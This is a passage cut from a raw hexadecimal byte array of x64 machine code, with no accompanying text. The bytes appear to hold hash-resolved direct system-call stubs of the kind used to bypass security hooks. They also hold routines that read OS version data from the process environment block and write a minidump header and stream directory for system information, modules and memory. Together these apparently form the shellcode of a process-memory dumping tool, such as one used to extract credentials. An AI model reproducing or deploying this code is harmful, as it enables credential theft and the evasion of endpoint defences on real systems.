x83,0xEC,0x28,0xE8,0xE7,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x7C,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xB5,0x3A,0x1B,0x38,0x51,0x48,0x83,0xEC,0x28,0xE8,0x90,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x25,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x9C,0xD0,0xC6,0x20,0x51,0x48,0x83,0xEC,0x28,0xE8,0x39,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xCE,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x3C,0xF4,0x9E,0xBA,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xDF,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x74,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x44,0x8D,0x66,0xCB,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x85,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x1A,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x8F,0x59,0x39,0x13,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2E,0xEF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xC3,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xBA,0x75,0xEB,0xB6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD4,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x69,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xEF,0xD9,0xB0,0x1B,0x51,0x48,0x83,0xEC,0x28,0xE8,0x7D,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x12,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE7,0x84,0xCD,0x0A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x26,0xEE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBB,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x37,0x04,0x96,0x36,0x51,0x48,0x83,0xEC,0x28,0xE8,0xCF,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x64,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x79,0x5C,0x2D,0x7A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x78,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x0D,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x8F,0xCC,0x1A,0xCA,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x1E,0xED,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xB3,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x19,0xD6,0x26,0x0C,0x51,0x48,0x83,0xEC,0x28,0xE8,0xC7,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x5C,0xEC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x89,0xC2,0x8B,0x45,0x18,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x8B,0x4D,0x28,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0xF8,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x56,0x3B,0x00,0x00,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0x8B,0x45,0x10,0x8B,0x50,0x10,0x8B,0x45,0x20,0x01,0xD0,0x89,0x45,0xFC,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x39,0x45,0xFC,0x73,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x47,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x18,0x48,0x39,0xC2,0x72,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x30,0x48,0x8B,0x45,0x10,0x8B,0x50,0x10,0x44,0x8B,0x45,0x20,0x48,0x8B,0x4D,0x18,0x48,0x8B,0x45,0x10,0x45,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x49,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x55,0xFC,0x89,0x50,0x10,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0x8B,0x45,0x10,0x8B,0x40,0x20,0x89,0x45,0xD0,0x48,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x24,0x66,0x89,0x45,0xD4,0x48,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x26,0x66,0x89,0x45,0xD6,0xC7,0x45,0xD8,0x03,0x00,0x00,0x00,0xC7,0x45,0xDC,0x20,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xD4,0x66,0x89,0x02,0x83,0x45,0xFC,0x02,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xD6,0x66,0x89,0x02,0x83,0x45,0xFC,0x02,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xD8,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x45,0x10,0x41,0xB8,0x20,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x31,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0xD3,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x03,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x43,0x04,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x43,0x08,0x89,0x02,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x41,0xB8,0x0C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA9,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x07,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF4,0x48,0x89,0x45,0xC0,0x8B,0x45,0xFC,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x29,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x9F,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x04,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x89,0x45,0xC0,0x8B,0x45,0xF0,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xD9,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x52,0x48,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x09,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xDC,0x48,0x89,0x45,0xC0,0x8B,0x45,0xE4,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x8C,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xE0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x90,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0xC7,0x45,0xC8,0x60,0x00,0x00,0x00,0x8B,0x45,0xC8,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF8,0x48,0x05,0x1C,0x01,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x20,0x01,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xF8,0x48,0x05,0x24,0x01,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xF8,0x48,0x05,0xE8,0x02,0x00,0x00,0x48,0x89,0x45,0xD0,0x66,0xC7,0x45,0x90,0x09,0x00,0x66,0xC7,0x45,0x92,0x00,0x00,0x66,0xC7,0x45,0x94,0x00,0x00,0xC6,0x45,0x96,0x00,0xC6,0x45,0x97,0x01,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x89,0x45,0x98,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x89,0x45,0x9C,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x45,0xA0,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x89,0x45,0xA4,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xAC,0x00,0x00,0x66,0xC7,0x45,0xAE,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x50,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x58,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x60,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x90,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x92,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x94,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB6,0x45,0x96,0x88,0x02,0x83,0x45,0xCC,0x01,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB6,0x45,0x97,0x88,0x02,0x83,0x45,0xCC,0x01,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0x98,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0x9C,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA0,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA4,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xAC,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xAE,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x48,0x8B,0x45,0xB0,0x48,0x89,0x02,0x83,0x45,0xCC,0x08,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x48,0x8B,0x45,0xB8,0x48,0x89,0x02,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x89,0x85,0x4C,0xFF,0xFF,0xFF,0x8B,0x4D,0x8C,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF7,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xD6,0x00,0x00,0x00,0x48,0x8D,0x55,0x8C,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x24,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x82,0xF9,0xFF,0xFF,0x48,0x8D,0x95,0x4C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x61,0xF9,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x89,0x85,0x48,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x85,0x44,0xFF,0xFF,0xFF,0x48,0x8D,0x95,0x44,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x74,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x56,0x48,0x8B,0x45,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC8,0x48,0x8B,0x45,0xD0,0x48,0x8B,0x50,0x08,0x48,0x8B,0x45,0x10,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x48,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2A,0x8B,0x85,0x4C,0xFF,0xFF,0xFF,0x8D,0x50,0x18,0x48,0x8D,0x8D,0x48,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xCF,0xF8,0xFF,0xFF,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xE0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x01,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x01,0x00,0x00,0x48,0x8D,0x05,0x72,0x54,0x00,0x00,0x48,0x89,0x85,0xA0,0x00,0x00,0x00,0x48,0x8D,0x05,0x7A,0x54,0x00,0x00,0x48,0x89,0x85,0xA8,0x00,0x00,0x00,0x48,0x8D,0x05,0x82,0x54,0x00,0x00,0x48,0x89,0x85,0xB0,0x00,0x00,0x00,0x48,0x8D,0x05,0x88,0x54,0x00,0x00,0x48,0x89,0x85,0xB8,0x00,0x00,0x00,0x48,0x8D,0x05,0x92,0x54,0x00,0x00,0x48,0x89,0x85,0xC0,0x00,0x00,0x00,0x48,0x8D,0x05,0x9E,0x54,0x00,0x00,0x48,0x89,0x85,0xC8,0x00,0x00,0x00,0x48,0x8D,0x05,0xA8,0x54,0x00,0x00,0x48,0x89,0x85,0xD0,0x00,0x00,0x00,0x48,0x8D,0x05,0xB4,0x54,0x00,0x00,0x48,0x89,0x85,0xD8,0x00,0x00,0x00,0x48,0x8D,0x05,0xBC,0x54,0x00,0x00,0x48,0x89,0x85,0xE0,0x00,0x00,0x00,0x48,0x8D,0x05,0xC8,0x54,0x00,0x00,0x48,0x89,0x85,0xE8,0x00,0x00,0x00,0x48,0x8D,0x05,0xCE,0x54,0x00,0x00,0x48,0x89,0x85,0xF0,0x00,0x00,0x00,0x48,0x8D,0x05,0xD6,0x54,0x00,0x00,0x48,0x89,0x85,0xF8,0x00,0x00,0x00,0x48,0x8D,0x05,0xDE,0x54,0x00,0x00,0x48,0x89,0x85,0x00,0x01,0x00,0x00,0x48,0x8D,0x05,0xE6,0x54,0x00,0x00,0x48,0x89,0x85,0x08,0x01,0x00,0x00,0x48,0x8D,0x05,0xF6,0x54,0x00,0x00,0x48,0x89,0x85,0x10,0x01,0x00,0x00,0x48,0x8D,0x05,0x02,0x55,0x00,0x00,0x48,0x89,0x85,0x18,0x01,0x00,0x00,0x48,0x8D,0x05,0x0C,0x55,0x00,0x00,0x48,0x89,0x85,0x20,0x01,0x00,0x00,0x48,0x8D,0x05,0x16,0x55,0x00,0x00,0x48,0x89,0x85,0x28,0x01,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x8D,0x95,0xA0,0x00,0x00,0x00,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x12,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x31,0xDB,0xFF,0xFF,0x48,0x89,0x85,0x40,0x01,0x00,0x00,0x48,0x83,0xBD,0x40,0x01,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x05,0x06,0x00,0x00,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0xC7,0x85,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xF6,0x00,0x00,0x00,0x8B,0x85,0x9C,0x00,0x00,0x00,0x83,0xC0,0x01,0x89,0x85,0x9C,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x8B,0x50,0x10,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x89,0x90,0x14,0x02,0x00,0x00,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xC0,0x14,0xBA,0x00,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0x30,0x00,0x00,0x89,0x45,0x18,0x8B,0x45,0x18,0x83,0xC0,0x01,0x89,0x45,0x18,0x8B,0x45,0x18,0x01,0xC0,0x89,0x45,0x18,0x48,0x8D,0x55,0x18,0x48,0x8B,0x85,0x70,0x01,0x00,0